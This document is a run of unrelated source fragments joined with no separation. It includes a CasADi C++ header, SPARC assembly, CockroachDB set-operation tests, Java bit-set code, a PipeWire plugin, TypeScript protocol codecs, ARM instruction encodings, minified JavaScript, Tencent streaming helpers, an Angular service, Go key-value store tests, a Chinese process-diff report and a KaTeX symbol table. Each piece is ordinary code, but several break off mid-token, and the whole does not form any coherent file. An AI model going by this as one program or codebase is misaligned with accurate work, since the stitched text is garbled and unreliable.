inline std::string trim_path(const std::string& full_path) {
  size_t found = full_path.rfind("/casadi/");
  if (found == std::string::npos) {
    return full_path;
  } else {
    std::string ret = full_path;
    ret.replace(0, found, "...");
    return ret;
  }
}

// Current time as a string
inline std::ostream& message_prefix(std::ostream &stream) {
  stream << "CasADi - ";
  auto time = std::time(nullptr);
  char stamp[30];
  strftime(stamp, 30, "%F %T", std::localtime(&time)); // NOLINT(runtime/threadsafe_fn)
  stream << stamp;
  return stream;
}

// String denoting where the macro is situated
#define CASADI_WHERE casadi::trim_path(__FILE__ ":" CASADI_STR(__LINE__))

// Throw an exception with information about source code location
#define casadi_error(msg, ...) \
throw casadi::CasadiException(CASADI_WHERE + ": "\
          + casadi::fmtstr(msg, casadi::strvec(__VA_ARGS__)))

// This assertion checks for illegal user inputs
#define casadi_assert(x, msg, ...) \
if (!(x)) casadi_error("Assertion \"" CASADI_STR(x) "\" failed:\n"\
          + std::string(msg), __VA_ARGS__)

// This assertion if for internal errors caused by bugs in CasADi
#define casadi_assert_dev(x) casadi_assert(x, "Notify the CasADi developers.")

// This assertion if for internal errors caused by bugs in CasADi
#define casadi_report() casadi_error("Notify the CasADi developers.")

// Issue a warning, including location in the source code
#define casadi_warning(msg) \
  casadi::message_prefix(casadi::uerr()) \
    << " WARNING(\"" << msg << "\") [" << CASADI_WHERE << "]\n" << std::flush;

// Issue a message, including location in the source code
#define casadi_message(msg) \
  casadi::message_prefix(casadi::uout()) \
    << " MESSAGE(\"" << msg << "\") [" << CASADI_WHERE << "]\n" << std::flush;

} // namespace casadi

#endif // CASADI_EXCEPTION_HPP
/*
 *    This file is part of CasADi.
 *
 *    CasADi -- A symbolic framework for dynamic optimization.
 *    Copyright (C) 2010-2014 Joel Andersson, Joris Gillis, Moritz Diehl,
 *                            K.U. Leuven. All rights reserved.
 *    Copyright (C) 2011-2014 Greg Horn
 *
 *    CasADi is free software; you can redistribute it and/or
 *    modify it under the terms of the GNU Lesser General Public
 *    License as published by the Free Software Foundation; either
 *    version 3 of the License, or (at your option) any later version.
 *
 *    CasADi is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *    Lesser General Public License for more details.
 *
 *    You should have received a copy of the GNU Lesser General Public
 *    License along with CasADi; if not, write to the Free Software
 *    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */

#ifndef CASADI_MX_HPP
#define CASADI_MX_HPP
#include "shared_object.hpp"
#include "matrix_fwd.hpp"
#include "sx_fwd.hpp"
#include "dm.hpp"
#include "generic_matrix.hpp"
#include "generic_expression.hpp"
#include "generic_type.hpp"
#include "printable.hpp"
#include <v


_y3:
        cmp     %g7, %g0
        bne     %xcc, wait_y3
        dec     %g7
	nop
	ta	T_CHANGE_HPRIV
	rdpr	%pstate, %l4
	rdhpr	%hpstate, %l6
	setx	0x88000000, %g1, %g2
	stxa	%g2, [%g0] 0x43
	ta	T_CHANGE_NONHPRIV
	save
	nop
	nop
	mov	0x55, %o4
	nop
	setx	%hi(data_start), %g1, %l0
	mov	0x7f, %l2
	add	%l2, %l2, %l2
	sth	%l2, [%l0]
	save
	nop
	nop
	nop
	nop
	mov	0x55, %g1
	add	%g1, 0x32, %g1
	cmp	%g1, %i4
	be	diag_pass
	nop
	ta	T_BAD_TRAP
	nop
	nop
	nop
	nop
	.data
data_start:

	.xword	0x0000000000000000
	.xword	0x1111111111111111
	.xword


		{v[5], v[1]},
			},
			rightInput: rowenc.EncDatumRows{
				{null, null},
				{null, v[1]},
				{null, v[1]},
				{null, v[1]},
				{null, v[2]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[1], null},
				{v[5], v[0]},
				{v[5], v[1]},
			},
			expected: rowenc.EncDatumRows{
				{null, null},
				{null, v[1]},
				{null, v[1]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[1], null},
				{v[5], v[0]},
				{v[5], v[1]},
			},
		},
		{
			// Check that INTERSECT ALL returns the correct number of duplicates when
			// the left side contains more duplicates of a row than the right side.
			setOpType:   descpb.IntersectAllJoin,
			columnTypes: types.TwoIntCols,
			leftInput: rowenc.EncDatumRows{
				{null, null},
				{null, null},
				{null, v[0]},
				{null, v[0]},
				{null, v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[0], v[3]},
				{v[5], v[0]},
				{v[5], v[1]},
			},
			rightInput: rowenc.EncDatumRows{
				{null, null},
				{null, v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[5], v[0]},
				{v[5], v[1]},
			},
			expected: rowenc.EncDatumRows{
				{null, null},
				{null, v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[5], v[0]},
				{v[5], v[1]},
			},
		},
		{
			// Check that INTERSECT ALL returns the correct number of duplicates when
			// the right side contains more duplicates of a row than the left side.
			setOpType:   descpb.IntersectAllJoin,
			columnTypes: types.TwoIntCols,
			leftInput: rowenc.EncDatumRows{
				{null, null},
				{null, v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[0], v[3]},
				{v[5], v[0]},
				{v[5], v[1]},
			},
			rightInput: rowenc.EncDatumRows{
				{null, null},
				{null, null},
				{null, v[0]},
				{null, v[0]},
				{null, v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[0], v[1]},
				{v[5], v[0]},
				{v[5], v[1]},
			},
			expected: rowenc.EncDatumRows{
				{null, null},
				{null, v[0]},
				{v[0], v[0]},
				{v[0], v[0]},
				{v[0], v[1]},
				{v[5], v[0]},
				{v[5], v[1]},
			},
		},
	}
}

func exceptAllTestCases() []setOpTestCase {
	null := rowenc.EncDatum{Datum: tree.DNull}
	var v = [10]rowenc.EncDatum{}
	for i := range v {
		v[i] =


 lengthAsBits;
	}

	private int calculateLength(int realByteLength)
	{
		if (realByteLength == 0)
		{
			return 0;
		}

		return ((realByteLength - 1) * 8) + bitsInLastByte;
	}

	/**
	 * Get the length in bits -- alias for getLength()
	 *
	 * @return The length in bits for this value
	 */
	public int size()
	{
		return getLength();
	}

	/**
	 * Get the value of the byte array
	 *
	 * @return	The value of the byte array
	 */

	public byte[] getByteArray()
	{
		// In some cases the array is bigger than the actual number
		// of valid bytes.
		int realByteLength = getLengthInBytes();

		// Currently the case is that the return from this
		// call only includes the valid bytes.
		if (value.length != realByteLength) {
			byte[] data = new byte[realByteLength];
			System.arraycopy(value, 0, data, 0, realByteLength);

			value = data;
		}

		return ArrayUtil.copy( value );
	}

	/**
	 * Grow (widen) a FormatableBitSet so that it contains at least N
	 * bits. If the bitset already has more than n bits, this is a
	 * noop. Negative values of n are not allowed.
	 * ASSUMPTIONS: that all extra bits in the last byte are
	 * zero.
	 *
	 * @param n	The number of bits you want.  The bits are
	 *			always added as 0 and are appended to the
	 *			least significant end of the bit array.
	 *
	 */
	public void grow(int n)
	{
		if (SanityManager.DEBUG) {
			SanityManager.ASSERT(invariantHolds(), "broken invariant");
		}

 		if (n < 0) {
 			throw new IllegalArgumentException("Bit set cannot grow from "+
 											   lengthAsBits+" to "+n+" bits");
 		}
		if (n <= lengthAsBits) {
 			return;
 		}

		int newNumBytes = FormatableBitSet.numBytesFromBits(n);

		// is there enough room in the existing array
		if (newNumBytes > value.length) {
			/*
			** We didn't have enough bytes in value, so we need
			** to create a bigger byte array and use that.
			*/
			byte[] newValue = new byte[newNumBytes];

			int oldNumBytes = getLengthInBytes();
			System.arraycopy(value, 0, newValue, 0, oldNumBytes);

			value = newValue;
		}
		bitsInLastByte = numBitsInLastByte(n);
		lengthAsBits = n;
	}

	/**
	 * Shrink (narrow) a FormatableBitSet to N bits. N may not be
	 * larger than the current bitset size, or negative.
	 *
	 * @param n	The number of bits the caller wants.  The
	 * 			bits are always removed from the
	 *			least significant end of the bit array.
	 */
	public void shrink(int n)
	{
		if (SanityManager.DEBUG) {
			SanityManager.ASSERT(invariantHolds(), "broken invariant");
		}

		if (n < 0 || n > lengthAsBits) {
			throw new
				IllegalArgumentException("Bit set cannot shrink from "+
										 lengthAsBits+" to "+n+" bits");
		}

		final int firstUnusedByte = numBytesFromBits(n);
		bitsInLastByte = numBitsInLastByte(n);
		lengthAsBits = n;

		for (int i = firstUnusedByte; i < value.length; ++i) {
			value[i] = 0;
		}
		if (firstUnusedByte > 0) {
			// Mask out any left over bits in the
			// last byte.  Retain the highest bits.
			value[firstUnusedByte-1] &= 0xff00 >> bitsInLastByte;
		}
	}

	/*
	** Some of the operators required by SQL.  These could alternatively
	** be in SQLBit, but since they are so tightly boun


{
	{SPA_TYPE_INTERFACE_FILTER_GRAPH_AudioPlugin,},
};

static int
impl_enum_interface_info(const struct spa_handle_factory *factory,
			 const struct spa_interface_info **info,
			 uint32_t *index)
{
	spa_return_val_if_fail(factory != NULL, -EINVAL);
	spa_return_val_if_fail(info != NULL, -EINVAL);
	spa_return_val_if_fail(index != NULL, -EINVAL);

	switch (*index) {
	case 0:
		*info = &impl_interfaces[*index];
		break;
	default:
		return 0;
	}
	(*index)++;
	return 1;
}

static struct spa_handle_factory spa_fga_sofa_plugin_factory = {
	SPA_VERSION_HANDLE_FACTORY,
	"filter.graph.plugin.sofa",
	NULL,
	impl_get_size,
	impl_init,
	impl_enum_interface_info,
};

SPA_EXPORT
int spa_handle_factory_enum(const struct spa_handle_factory **factory, uint32_t *index)
{
	spa_return_val_if_fail(factory != NULL, -EINVAL);
	spa_return_val_if_fail(index != NULL, -EINVAL);

	switch (*index) {
	case 0:
		*factory = &spa_fga_sofa_plugin_factory;
		break;
	default:
		return 0;
	}
	(*index)++;
	return 1;
}


_request"] = {en: _encode_sc_pet_catch_request, de: _decode_sc_pet_catch_request}
	export class sc_pet_catch_result_request {
		public result: boolean; // tag 0
	}

	function _decode_sc_pet_catch_result_request(d: SprotoTypeDeserialize) {
		let o = new sc_pet_catch_result_request;
		let t = -1;
		while (-1 != (t = d.rt())) {
			switch (t) {
			case 0:
				o.result = d.rb ();
				break;
			default:
				d.nod ();
				break;
			}
		}
		return o
	}

	function _encode_sc_pet_catch_result_request(self: sc_pet_catch_result_request, st: Sproto.SprotoStream) {
		let se = SprotoCore.GetSerialize(st, 1);

		if (self.result != undefined) {
			se.wb (self.result, 0);
		}

		return SprotoCore.CloseSerialize(se);
	}

	ALL_DICT["sc_pet_catch_result_request"] = {en: _encode_sc_pet_catch_result_request, de: _decode_sc_pet_catch_result_request}
	export class sc_pet_init_request {
		public list: pet_info[]; // tag 0
		public outbound: number[]; // tag 1
		public showid: number; // tag 2
	}

	function _decode_sc_pet_init_request(d: SprotoTypeDeserialize) {
		let o = new sc_pet_init_request;
		let t = -1;
		while (-1 != (t = d.rt())) {
			switch (t) {
			case 0:
				o.list = d.roa("pet_info");
				break;
			case 1:
				o.outbound = d.ria ();
				break;
			case 2:
				o.showid = d.ri ();
				break;
			default:
				d.nod ();
				break;
			}
		}
		return o
	}

	function _encode_sc_pet_init_request(self: sc_pet_init_request, st: Sproto.SprotoStream) {
		let se = SprotoCore.GetSerialize(st, 3);

		if (self.list != undefined) {
			se.woa ("pet_info", self.list, 0);
		}

		if (self.outbound != undefined) {
			se.wia (self.outbound, 1);
		}

		if (self.showid != undefined) {
			se.wi (self.showid, 2);
		}

		return SprotoCore.CloseSerialize(se);
	}

	ALL_DICT["sc_pet_init_request"] = {en: _encode_sc_pet_init_request, de: _decode_sc_pet_init_request}
	export class sc_pet_update_request {
		public petinfo: pet_info; // tag 0
	}

	function _decode_sc_pet_update_request(d: SprotoTypeDeserialize) {
		let o = new sc_pet_update_request;
		let t = -1;
		while (-1 != (t = d.rt())) {
			switch (t) {
			case 0:
				o.petinfo = d.ro("pet_info");
				break;
			default:
				d.nod ();
				break;
			}
		}
		return o
	}

	function _encode_sc_pet_update_request(self: sc_pet_update_request, st: Sproto.SprotoStream) {
		let se = SprotoCore.GetSerialize(st, 1);

		if (self.petinfo != undefined) {
			se.wo ("pet_info", self.petinfo, 0);
		}

		return SprotoCore.CloseSerialize(se);
	}

	ALL_DICT["sc_pet_update_request"] = {en: _encode_sc_pet_update_request, de: _decode_sc_pet_update_request}
}

import { Injectable } from "@nestjs/common";
import { ValidationArguments, ValidatorConstraint, ValidatorConstraintInterface } from "class-validator";
import { WorkerRepository } from "src/worker/worker.repository";
import { AgentRepository } from "../agent/aget.repository";
import { CustomerRepositry } from "../customer/customer.repository";

@ValidatorConstraint({ name: 'UserExists', async: true


.h[0]
0xc1920190 == za.d[w8, 0:3], {z12.h - z13.h}, z2.h[0]
0xc19a4011 == za.d[w10, 4:7, vgx2], {z0.h, z1.h}, z10.h[0]
0xc19a4011 == za.d[w10, 4:7], {z0.h - z1.h}, z10.h[0]
0xc19e02d5 == za.d[w8, 4:7, vgx2], {z22.h, z23.h}, z14.h[2]
0xc19e02d5 == za.d[w8, 4:7], {z22.h - z23.h}, z14.h[2]
0xc1916512 == za.d[w11, 0:3, vgx2], {z8.h, z9.h}, z1.h[5]
0xc1916512 == za.d[w11, 0:3], {z8.h - z9.h}, z1.h[5]
0xc19b2197 == za.d[w9, 4:7, vgx2], {z12.h, z13.h}, z11.h[3]
0xc19b2197 == za.d[w9, 4:7], {z12.h - z13.h}, z11.h[3]
0xc1e00010 == za.d[w8, 0:3, vgx2], {z0.h, z1.h}, {z0.h, z1.h}
0xc1e00010 == za.d[w8, 0:3], {z0.h - z1.h}, {z0.h - z1.h}
0xc1f44151 == za.d[w10, 4:7, vgx2], {z10.h, z11.h}, {z20.h, z21.h}
0xc1f44151 == za.d[w10, 4:7], {z10.h - z11.h}, {z20.h - z21.h}
0xc1e86191 == za.d[w11, 4:7, vgx2], {z12.h, z13.h}, {z8.h, z9.h}
0xc1e86191 == za.d[w11, 4:7], {z12.h - z13.h}, {z8.h - z9.h}
0xc1fe63d1 == za.d[w11, 4:7, vgx2], {z30.h, z31.h}, {z30.h, z31.h}
0xc1fe63d1 == za.d[w11, 4:7], {z30.h - z31.h}, {z30.h - z31.h}
0xc1f00211 == za.d[w8, 4:7, vgx2], {z16.h, z17.h}, {z16.h, z17.h}
0xc1f00211 == za.d[w8, 4:7], {z16.h - z17.h}, {z16.h - z17.h}
0xc1fe0011 == za.d[w8, 4:7, vgx2], {z0.h, z1.h}, {z30.h, z31.h}
0xc1fe0011 == za.d[w8, 4:7], {z0.h - z1.h}, {z30.h - z31.h}
0xc1f44250 == za.d[w10, 0:3, vgx2], {z18.h, z19.h}, {z20.h, z21.h}
0xc1f44250 == za.d[w10, 0:3], {z18.h - z19.h}, {z20.h - z21.h}
0xc1e20190 == za.d[w8, 0:3, vgx2], {z12.h, z13.h}, {z2.h, z3.h


Icon name must contain a prefix: ${t}`);let a=es.get(i);if(!a){const t=rs.get(i);if(!t)throw new Error(`Icon set not found: ${r.prefix}`);try{a={...await t(),prefix:i},es.set(i,a)}catch(o){throw Oe.error(o),new Error(`Failed to load icon set: ${r.prefix}`)}}const n=Vo(a,r.name);if(!n)throw new Error(`Icon not found: ${t}`);return n}),"getRegisteredIconData"),ns=Ee((async(t,e)=>{let r;try{r=await as(t,null==e?void 0:e.fallbackPrefix)}catch(a){Oe.error(a),r=ts}const i=function(t,e){const r={...qo,...t},i={...No,...e},a={left:r.left,top:r.top,width:r.width,height:r.height};let n=r.body;[r,i].forEach((t=>{const e=[],r=t.hFlip,i=t.vFlip;let o,s=t.rotate;switch(r?i?s+=2:(e.push("translate("+(a.width+a.left).toString()+" "+(0-a.top).toString()+")"),e.push("scale(-1 1)"),a.top=a.left=0):i&&(e.push("translate("+(0-a.left).toString()+" "+(a.height+a.top).toString()+")"),e.push("scale(1 -1)"),a.top=a.left=0),s<0&&(s-=4*Math.floor(s/4)),s%=4,s){case 1:o=a.height/2+a.top,e.unshift("rotate(90 "+o.toString()+" "+o.toString()+")");break;case 2:e.unshift("rotate(180 "+(a.width/2+a.left).toString()+" "+(a.height/2+a.top).toString()+")");break;case 3:o=a.width/2+a.left,e.unshift("rotate(-90 "+o.toString()+" "+o.toString()+")")}s%2==1&&(a.left!==a.top&&(o=a.left,a.left=a.top,a.top=o),a.width!==a.height&&(o=a.width,a.width=a.height,a.height=o)),e.length&&(n=function(t,e,r){const i=function(t,e="defs"){let r="";const i=t.indexOf("<"+e);for(;i>=0;){const a=t.indexOf(">",i),n=t.indexOf("</"+e);if(-1===a||-1===n)break;const o=t.indexOf(">",n);if(-1===o)break;r+=t.slice(a+1,n).trim(),t=t.slice(0,i).trim()+t.slice(o+1)}return{defs:r,content:t}}(t);return a=i.defs,n=e+i.content+r,a?"<defs>"+a+"</defs>"+n:n;var a,n}(n,'<g transform="'+e.join(" ")+'">',"</g>"))}));const o=i.width,s=i.height,l=a.width,h=a.height;let c,d;null===o?(d=null===s?"1em":"auto"===s?h:s,c=Xo(d,l/h)):(c="auto"===o?l:o,d=null===s?Xo(c,h/l):"auto"===s?h:s);const u={},p=(t,e)=>{(t=>"unset"===t||"undefined"===t||"none"===t)(e)||(u[t]=e.toString())};p("width",c),p("height",d);const g=[a.left,a.top,l,h];return u.viewBox=g.join(" "),{attributes:u,viewBox:g,body:n}}(r,e);return function(


ity);
        }
    }

    @Override
    public void setIntensityEyeRotate(float intensity) {
        mIntensityEyeRotate = intensity;
        if (mRenderEventQueue != null) {
            mRenderEventQueue.addItemSetParamEvent(mItemHandle, BeautificationParam.INTENSITY_EYE_ROTATE, intensity);
        }
    }

}package com.tencent.mlvb.common;

import android.net.Uri;
import android.text.TextUtils;

import com.tencent.mlvb.debug.GenerateTestUserSig;

import java.io.File;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

/**
 * MLVB 移动直播地址生成
 * 详情请参考：「https://cloud.tencent.com/document/product/454/7915」
 *

 *

 * Generating Streaming URLs
 * See [https://cloud.tencent.com/document/product/454/7915].
 */
public class URLUtils {

    public static final String WEBRTC      = "webrtc://";
    public static final String RTMP        = "rtmp://";
    public static final String HTTP        = "http://";
    public static final String TRTC        = "trtc://";
    public static final String TRTC_DOMAIN = "cloud.tencent.com";
    public static final String APP_NAME    = "live";

    /**
     * 生成推流地址
     * Generating Publishing URLs
     *
     * @param streamId
     * @param userId
     * @param type 0:RTC  1：RTMP
     * @return
     */
    public static String generatePushUrl(String streamId, String userId, int type){
        String pushUrl = "";
        if(type == 0){
            pushUrl = TRTC + TRTC_DOMAIN + "/push/" + streamId + "?sdkappid=" + GenerateTestUserSig.SDKAPPID + "&userid=" + userId + "&usersig=" + GenerateTestUserSig.genTestUserSig(userId);
        }else if(type == 1){
            pushUrl = RTMP + GenerateTestUserSig.PUSH_DOMAIN + File.separator + APP_NAME + File.separator + streamId + GenerateTestUserSig.getSafeUrl(streamId);
        }
        return pushUrl;
    }

    /**
     * 生成拉流地址
     * Generating Playback URLs
     *
     * @param streamId
     * @param userId
     * @param type type 0:RTC  1：RTMP 2:WEBRTC
     * @return
     */
    public static String generatePlayUrl(String streamId, String userId, int type){
        String playUrl = "";
        if(type == 0){
            playUrl = TRTC + TRTC_DOMAIN + "/play/" + streamId + "?sdkappid=" + GenerateTestUserSig.SDKAPPID + "&userid=" + userId + "&usersig=" + GenerateTestUserSig.genTestUserSig(userId);
        }else if(type == 1){
            playUrl = HTTP + GenerateTestUserSig.PLAY_DOMAIN + File.separator + APP_NAME + File.separator + streamId + ".flv";
        }else if(type == 2){
            playUrl = WEBRTC + GenerateTestUserSig.PLAY_DOMAIN + File.separator + APP_NAME + File.separator + streamId;
        }
        return playUrl;
    }
}
package com.tencent.mlvb.debug;

import android.util.Base64;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.UnsupportedEncodingException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.zip.Deflater;

import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;

/**
 * Module:   GenerateTestUserSig
 *
 * Function: 用于生成测试用的 UserSig，UserSig 是腾讯云为其云服务设计的一种安全保护签名


 user.username,
      token,
    });
  }
}
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Book } from '../models/book';

@Injectable({
  providedIn: 'root'
})
export class BookService {

  URL_API = 'http://localhost:4000/books';
  // objeto vacio tipo Book
    book: Book = {
    name: '',
    year: 0,
    id_author: 0,
    id_category: 0,
    id_editorial: 0,
    description: '',
    quantity: 0,
    price: 0,
    url_image: '',
    state: true,
    id_book: 0
  };

  bookArray: Book[]; // array de tipo Book

  constructor(private http: HttpClient) { }

  getBookById(id: string){
    return this.http.get<Book[]>(`${this.URL_API}/${id}`);
  }

  getImage(){
    return this.http.get<any>('http://localhost:4000/1f2d312a-a1ef-48c5-a79f-c2a27c48320c.jpg');
  }

  // trate todos los sin importar su estado state
  getBooksWithAuthorName() {
    // http://localhost:4000/booksAuthorName
    return this.http.get<Book[]>(this.URL_API + 'AuthorName');
  }

  // trae solo los libros que tiene state = true (aptos parta la venta)
  getAvailableBooksWithAuthorName() {
    return this.http.get<Book[]>('http://localhost:4000/AvailableBooksWithAuthorName');
  }

  getOneBookWithAuthorName(id: string) {
    return this.http.get<Book[]>(`${'http://localhost:4000/bookAuthorName'}/${id}`);
  }

  getRealDataBook(id: string) {
    // trae toda la data de book
    // mas nombre de autor, nombre de editorial y nombre de categoria que no estan en el model Book
    // por eso de tipo "any"
    return this.http.get<any[]>(`${'http://localhost:4000/getRealDataBook'}/${id}`);
  }

  getBooks() {
    return this.http.get<Book[]>(this.URL_API);
  }

  existBook(bookName: string, idAuthor: number){
    return this.http.get('http://localhost:4000/books/exist/' + bookName + '/' + idAuthor);
  }

  createBook(book: Book){
    // console.log(book);
    return this.http.post(this.URL_API, book);
  }

  updateBook(book: Book){
    // console.log('Ca update book: ' + book.name);
    return this.http.put(`${this.URL_API}/${book.id_book}`, book);
  }

  filterAvailableBooksByName(name: string){
    return this.http.get<Book[]>('http://localhost:4000/filterAvailableBooksByName/' + name);
  }

  filterBooksByName(name: string){
    return this.http.get<Book[]>('http://localhost:4000/filterBooksByName/' + name);
  }

  filterAvailableBooksByAuthor(name: string){
    return this.http.get<Book[]>('http://localhost:4000/filterAvailableBooksByAuthor/' + name);
  }

  filterBooksByAuthor(name: string){
    return this.http.get<Book[]>('http://localhost:4000/filterBooksByAuthor/' + name);
  }

  bajaBook(idBook: number, changes: Partial<Book>){
   const url = 'http://localhost:4000/books/baja/';
   return this.http.put(`${url}${idBook}`, changes);
  }

  altaBook(idBook: number, changes: Partial<Book>){
    const url = 'http://localhost:4000/books/alta/';
    return this.http.put(`${url}${idBook}`, changes);


                if (jvalue != NULL) {
                    SET_OBJECT_FIELD(env, jpropObject, property_value, jvalue);
                } else {
                    retcode = SAJ_RETCODE_ERROR;
                }
            }
           RELEASE_STRING_UTFCHAR(env, jname, name);
           DELETE_LOCAL_REF(env, jname);
        } else {
            retcode = SAJ_RETCODE_BAD_PARAMETER;
        }
        DELETE_LOCAL_REF(env, jpropObject);
    } else {
        retcode = SAJ_RETCODE_BAD_PARAMETER;
    }
    return retcode;

    CATCH_EXCEPTION:
    return SAJ_RETCODE_ERROR;
}

#undef SAJ_FUNCTION


kvps[i].key = make([]byte, 32)
		_, err := rand.Read(kvps[i].key)
		require.NoError(t, err)
		kvps[i].value = make([]byte, 32)
		_, err = rand.Read(kvps[i].value)
		require.NoError(t, err)
	}

	return kvps
}

func setRandomKVPairs(t *testing.T, store types.KVStore) []kvpair {
	t.Helper()
	kvps := genRandomKVPairs(t)
	for _, kvp := range kvps {
		store.Set(kvp.key, kvp.value)
	}
	return kvps
}

func testPrefixStore(t *testing.T, baseStore types.KVStore, prefix []byte) {
	t.Helper()
	prefixStore := NewStore(baseStore, prefix)
	prefixPrefixStore := NewStore(prefixStore, []byte("prefix"))

	require.Panics(t, func() { prefixStore.Get(nil) })
	require.Panics(t, func() { prefixStore.Set(nil, []byte{}) })

	kvps := setRandomKVPairs(t, prefixPrefixStore)

	for i := 0; i < 20; i++ {
		key := kvps[i].key
		value := kvps[i].value
		require.True(t, prefixPrefixStore.Has(key))
		require.Equal(t, value, prefixPrefixStore.Get(key))

		key = append([]byte("prefix"), key...)
		require.True(t, prefixStore.Has(key))
		require.Equal(t, value, prefixStore.Get(key))
		key = append(prefix, key...)
		require.True(t, baseStore.Has(key))
		require.Equal(t, value, baseStore.Get(key))

		key = kvps[i].key
		prefixPrefixStore.Delete(key)
		require.False(t, prefixPrefixStore.Has(key))
		require.Nil(t, prefixPrefixStore.Get(key))
		key = append([]byte("prefix"), key...)
		require.False(t, prefixStore.Has(key))
		require.Nil(t, prefixStore.Get(key))
		key = append(prefix, key...)
		require.False(t, baseStore.Has(key))
		require.Nil(t, baseStore.Get(key))
	}
}

func TestIAVLStorePrefix(t *testing.T) {
	db := dbm.NewMemDB()
	tree, err := liavl.NewMutableTree(db, cacheSize, false)
	require.NoError(t, err)
	iavlStore := iavl.UnsafeNewStore(tree)

	testPrefixStore(t, iavlStore, []byte("test"))
}

func TestPrefixKVStoreNoNilSet(t *testing.T) {
	meter := types.NewGasMeter(100000000)
	mem := dbadapter.Store{DB: dbm.NewMemDB()}
	gasStore := gaskv.NewStore(mem, meter, types.KVGasConfig())
	require.Panics(t, func() { gasStore.Set([]byte("key"), nil) }, "setting a nil value should panic")
}

func TestPrefixStoreIterate(t *testing.T) {
	db := dbm.NewMemDB()
	baseStore := dbadapter.Store{DB: db}
	prefix := []byte("test")
	prefixStore := NewStore(baseStore, prefix)

	setRandomKVPairs(t, prefixStore)

	bIter := types.KVStorePrefixIterator(baseStore, prefix)
	pIter := types.KVStorePrefixIterator(prefixStore, nil)

	for bIter.Valid() && pIter.Valid() {
		require.Equal(t, bIter.Key(), append(prefix, pIter.Key()...))
		require.Equ


## 进程详情

#### 5729:krfcommd -> 1744:krfcommd
- 内存使用：0 B -> 0 B (变化：0 B)

#### 127:watchdogd -> 86:watchdogd
- 内存使用：0 B -> 0 B (变化：0 B)

#### 716723:/usr/sbin/sshd -> 766:/usr/sbin/sshd
- 内存使用：1.363968 MB -> 2.036736 MB (变化：672.768 KB)
- 可执行文件大小变化：-218.552 KB
- 打开文件数变化：-3
- 动态库变化：
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/liblz4.so.1.8.3
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libsystemd.so.0.33.0
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_deepin_pw_check.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_gnome_keyring.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_limits.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
  - 库大小变化 /usr/lib/x86_64-linux-gnu/libselinux.so.1：39.536 KB
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_mail.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libpam.so.0.84.2
  - 🟢移除库 /usr/lib/libdeepin_pw_check.so.1.1
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_loginuid.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libnsl-2.28.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libutil-2.28.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libcrack.so.2.9.0
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libm-2.28.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_selinux.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libnss_files-2.28.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_env.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libiniparser.so.1
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libdl-2.28.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/libpthread-2.28.so
  - 🟢移除库 /usr/lib/x86_64-linux-gnu/security/pam_nologin.so
  - 🟢移除库 /usr/lib


  ':': '\\dotsb',
  // Symbols whose definition starts with \DOTSB:
  '\\DOTSB': '\\dotsb',
  '\\coprod': '\\dotsb',
  '\\bigvee': '\\dotsb',
  '\\bigwedge': '\\dotsb',
  '\\biguplus': '\\dotsb',
  '\\bigcap': '\\dotsb',
  '\\bigcup': '\\dotsb',
  '\\prod': '\\dotsb',
  '\\sum': '\\dotsb',
  '\\bigotimes': '\\dotsb',
  '\\bigoplus': '\\dotsb',
  '\\bigodot': '\\dotsb',
  '\\bigsqcup': '\\dotsb',
  '\\And': '\\dotsb',
  '\\longrightarrow': '\\dotsb',
  '\\Longrightarrow': '\\dotsb',
  '\\longleftarrow': '\\dotsb',
  '\\Longleftarrow': '\\dotsb',
  '\\longleftrightarrow': '\\dotsb',
  '\\Longleftrightarrow': '\\dotsb',
  '\\mapsto': '\\dotsb',
  '\\longmapsto': '\\dotsb',
  '\\hookrightarrow': '\\dotsb',
  '\\doteq': '\\dotsb',
  // Symbols whose definition starts with \mathbin:
  '\\mathbin': '\\dotsb',
  // Symbols whose definition starts with \mathrel:
  '\\mathrel': '\\dotsb',
  '\\relbar': '\\dotsb',
  '\\Relbar': '\\dotsb',
  '\\xrightarrow': '\\dotsb',
  '\\xleftarrow': '\\dotsb',
  // Symbols whose definition starts with \DOTSI:
